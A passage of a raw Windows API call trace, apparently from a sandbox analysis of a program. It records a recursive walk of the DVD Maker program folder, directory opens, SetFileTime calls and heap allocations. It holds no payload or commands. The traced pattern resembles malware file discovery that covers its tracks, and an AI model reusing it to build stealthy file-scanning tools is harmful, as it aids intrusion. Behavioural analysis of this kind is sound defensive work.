(in: hFindFile=0x2e8f40, lpFindFileData=0x119f77c | out: lpFindFileData=0x119f77c*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28ae853d, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x28ae853d, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x28ae853d, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0xae, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0065.601] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119f77c | out: lpFindFileData=0x119f77c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x9ef07a9b, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9ef07a9b, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="DVD Maker", cAlternateFileName="")) returned 1 [0065.601] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f698 [0065.601] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\DVD Maker" (normalized: "c:\\program files\\dvd maker"), fInfoLevelId=0x0, lpFileInformation=0x119f678 | out: lpFileInformation=0x119f678*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x9ef07a9b, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9ef07a9b, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x1000)) returned 1 [0065.601] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker" (normalized: "c:\\program files\\dvd maker"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x158 [0065.601] SetFileTime (hFile=0x158, lpCreationTime=0x0, lpLastAccessTime=0x119f6bc, lpLastWriteTime=0x119f6bc) returned 0 [0065.601] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0xa08d30 [0065.601] DeviceIoControl (in: hDevice=0x158, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xa08d30, nOutBufferSize=0x4000, lpBytesReturned=0x119f714, lpOverlapped=0x0 | out: lpOutBuffer=0xa08d30, lpBytesReturned=0x119f714, lpOverlapped=0x0) returned 0 [0065.601] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08d30) returned 1 [0065.601] NtClose (Handle=0x158) returned 0x0 [0065.601] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f698) returned 1 [0065.601] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f698 [0065.602] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f2e0 [0065.602] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f258 [0065.602] FindFirstFileExW (in: lpFileName="C:\\Program Files\\DVD Maker\\*", fInfoLevelId=0x1, lpFindFileData=0x119f4c4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119f4c4) returned 0x2e9000 [0065.602] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x9ef07a9b, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9ef07a9b, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0065.602] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb0ed7565, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb0ed7565, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb0efd6c5, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xc600, dwReserved0=0x0, dwReserved1=0x0, cFileName="audiodepthconverter.ax", cAlternateFileName="")) returned 1 [0065.603] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa076d8 [0065.603] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa076d8) returned 1 [0065.603] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa076d8 [0065.603] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa076d8) returned 1 [0065.603] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa076d8 [0065.603] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa04420 [0065.603] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa07760 [0065.603] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa076d8) returned 1 [0065.603] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x499cc441, ftCreationTime.dwHighDateTime=0x1c9ea0f, ftLastAccessTime.dwLowDateTime=0x499cc441, ftLastAccessTime.dwHighDateTime=0x1c9ea0f, ftLastWriteTime.dwLowDateTime=0x499cc441, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1303c, dwReserved0=0x0, dwReserved1=0x0, cFileName="bod_r.TTF", cAlternateFileName="")) returned 1 [0065.603] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa076d8 [0065.603] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa076d8) returned 1 [0065.603] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa076d8 [0065.603] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa076d8) returned 1 [0065.603] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa076d8 [0065.603] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa04440 [0065.603] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa07650 [0065.603] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa076d8) returned 1 [0065.603] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb0eb1404, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb0eb1404, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb0ed7565, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xf000, dwReserved0=0x0, dwReserved1=0x0, cFileName="directshowtap.ax", cAlternateFileName="")) returned 1 [0065.603] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa076d8 [0065.603] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa076d8) returned 1 [0065.603] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa076d8 [0065.603] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa076d8) returned 1 [0065.603] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa076d8 [0065.603] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa04460 [0065.603] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa077e8 [0065.604] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa076d8) returned 1 [0065.604] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc9ae6642, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0xc9ae6642, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0xe1601f60, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x227600, dwReserved0=0x0, dwReserved1=0x0, cFileName="DVDMaker.exe", cAlternateFileName="")) returned 1 [0065.604] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa076d8 [0065.604] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa076d8) returned 1 [0065.604] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa076d8 [0065.604] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa076d8) returned 1 [0065.604] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa076d8 [0065.604] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa076d8) returned 1 [0065.604] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ead9a68, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xaa276ca7, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9f05f082, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0065.604] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd559b52d, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0xd559b52d, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0x499cc441, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xddb8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Eurosti.TTF", cAlternateFileName="")) returned 1 [0065.604] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa076d8 [0065.604] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa076d8) returned 1 [0065.604] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa076d8 [0065.604] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa076d8) returned 1 [0065.604] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa076d8 [0065.604] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa04480 [0065.604] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa07870 [0065.604] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa076d8) returned 1 [0065.604] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb0c03b3f, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb0c03b3f, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb0c03b3f, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xa200, dwReserved0=0x0, dwReserved1=0x0, cFileName="fieldswitch.ax", cAlternateFileName="")) returned 1 [0065.604] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa076d8 [0065.604] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa076d8) returned 1 [0065.604] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa076d8 [0065.604] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa076d8) returned 1 [0065.604] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa076d8 [0065.604] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa044a0 [0065.604] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa078f8 [0065.604] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa076d8) returned 1 [0065.605] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb0bdd9df, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb0bdd9df, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb0c03b3f, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xa800, dwReserved0=0x0, dwReserved1=0x0, cFileName="offset.ax", cAlternateFileName="")) returned 1 [0065.605] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa076d8 [0065.605] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa076d8) returned 1 [0065.605] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa076d8 [0065.605] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa076d8) returned 1 [0065.605] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa076d8 [0065.605] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa044c0 [0065.605] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa07980 [0065.605] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa076d8) returned 1 [0065.605] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb0c03b3f, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb0c03b3f, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb0eb1404, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xe46400, dwReserved0=0x0, dwReserved1=0x0, cFileName="OmdBase.dll", cAlternateFileName="")) returned 1 [0065.605] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa076d8 [0065.605] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa076d8) returned 1 [0065.605] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa076d8 [0065.605] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa076d8) returned 1 [0065.605] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa076d8 [0065.605] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa076d8) returned 1 [0065.605] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb0efd6c5, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb0efd6c5, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb102e1c7, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x432600, dwReserved0=0x0, dwReserved1=0x0, cFileName="OmdProject.dll", cAlternateFileName="")) returned 1 [0065.605] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa076d8 [0065.605] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa076d8) returned 1 [0065.605] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa076d8 [0065.605] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa076d8) returned 1 [0065.605] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa076d8 [0065.605] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa076d8) returned 1 [0065.605] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb0b6b5be, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb0b6b5be, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb0bb787f, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x1c4600, dwReserved0=0x0, dwReserved1=0x0, cFileName="Pipeline.dll", cAlternateFileName="")) returned 1 [0065.605] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa076d8 [0065.605] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa076d8) returned 1 [0065.605] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa076d8 [0065.606] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa076d8) returned 1 [0065.606] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc7b5c53e, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0xc7b5c53e, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0x43aceae0, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x1cc000, dwReserved0=0x0, dwReserved1=0x0, cFileName="PipeTran.dll", cAlternateFileName="")) returned 1 [0065.606] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb0eb1404, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb0eb1404, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb0eb1404, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x13400, dwReserved0=0x0, dwReserved1=0x0, cFileName="rtstreamsink.ax", cAlternateFileName="")) returned 1 [0065.606] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb0c03b3f, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb0c03b3f, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb0c03b3f, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xce00, dwReserved0=0x0, dwReserved1=0x0, cFileName="rtstreamsource.ax", cAlternateFileName="")) returned 1 [0065.606] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd55c168a, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0xd55c168a, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0x499cc441, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x18208, dwReserved0=0x0, dwReserved1=0x0, cFileName="SecretST.TTF", cAlternateFileName="")) returned 1 [0065.606] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x9f0852f1, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9f0852f1, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Shared", cAlternateFileName="")) returned 1 [0065.606] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb0c03b3f, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb0c03b3f, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb0c03b3f, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x13600, dwReserved0=0x0, dwReserved1=0x0, cFileName="soniccolorconverter.ax", cAlternateFileName="")) returned 1 [0065.606] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb0bdd9df, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb0bdd9df, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb0bdd9df, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xca00, dwReserved0=0x0, dwReserved1=0x0, cFileName="sonicsptransform.ax", cAlternateFileName="")) returned 1 [0065.606] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb0bb787f, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb0bb787f, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb0bdd9df, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x4a000, dwReserved0=0x0, dwReserved1=0x0, cFileName="WMM2CLIP.dll", cAlternateFileName="")) returned 1 [0065.606] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb0bb787f, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb0bb787f, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb0bdd9df, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x4a000, dwReserved0=0x0, dwReserved1=0x0, cFileName="WMM2CLIP.dll", cAlternateFileName="")) returned 0 [0065.606] GetLastError () returned 0x12 [0065.606] FindFirstFileExW (in: lpFileName="C:\\Program Files\\DVD Maker\\*", fInfoLevelId=0x1, lpFindFileData=0x119f4c4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119f4c4) returned 0x2e9080 [0065.606] FindClose (in: hFindFile=0x2e9000 | out: hFindFile=0x2e9000) returned 1 [0065.606] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x9ef07a9b, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9ef07a9b, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0065.606] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb0ed7565, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb0ed7565, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb0efd6c5, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xc600, dwReserved0=0x0, dwReserved1=0x0, cFileName="audiodepthconverter.ax", cAlternateFileName="")) returned 1 [0065.606] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x499cc441, ftCreationTime.dwHighDateTime=0x1c9ea0f, ftLastAccessTime.dwLowDateTime=0x499cc441, ftLastAccessTime.dwHighDateTime=0x1c9ea0f, ftLastWriteTime.dwLowDateTime=0x499cc441, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1303c, dwReserved0=0x0, dwReserved1=0x0, cFileName="bod_r.TTF", cAlternateFileName="")) returned 1 [0065.606] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb0eb1404, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb0eb1404, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb0ed7565, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xf000, dwReserved0=0x0, dwReserved1=0x0, cFileName="directshowtap.ax", cAlternateFileName="")) returned 1 [0065.606] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc9ae6642, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0xc9ae6642, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0xe1601f60, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x227600, dwReserved0=0x0, dwReserved1=0x0, cFileName="DVDMaker.exe", cAlternateFileName="")) returned 1 [0065.606] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ead9a68, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xaa276ca7, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9f05f082, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0065.606] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\DVD Maker\\en-US" (normalized: "c:\\program files\\dvd maker\\en-us"), fInfoLevelId=0x0, lpFileInformation=0x119f3c0 | out: lpFileInformation=0x119f3c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ead9a68, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xaa276ca7, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9f05f082, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0065.607] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\en-US" (normalized: "c:\\program files\\dvd maker\\en-us"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, 